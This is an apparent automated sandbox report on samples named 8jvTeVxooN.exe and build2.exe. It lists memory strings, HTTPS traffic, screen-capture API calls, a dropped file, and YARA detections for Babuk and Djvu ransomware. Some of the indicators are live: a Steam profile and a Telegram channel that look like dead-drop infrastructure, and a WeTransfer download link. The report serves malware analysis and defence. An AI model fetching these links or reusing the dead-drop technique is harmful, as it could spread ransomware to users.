Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/badges
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888/inventory/
Source: build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888g
Source: build2.exe, 00000008.00000002.2869925452.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888t
Source: build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000003.1890643604.0000000000936000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880493982.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: build2.exe, 00000008.00000003.1890643604.0000000000936000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880493982.0000000000920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: build2.exe, 00000008.00000002.2868783397.0000000000558000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2351161438.00000000030DE000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030DE000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.000000000064F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.90.143:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8jvTeVxooN.exe PID: 2312, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 4.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8jvTeVxooN.exe.5e915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.8jvTeVxooN.exe.5e415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.8jvTeVxooN.exe.5e415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.8jvTeVxooN.exe.5da15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.8jvTeVxooN.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.8jvTeVxooN.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8jvTeVxooN.exe.5e915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.8jvTeVxooN.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.8jvTeVxooN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.8jvTeVxooN.exe.5e715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
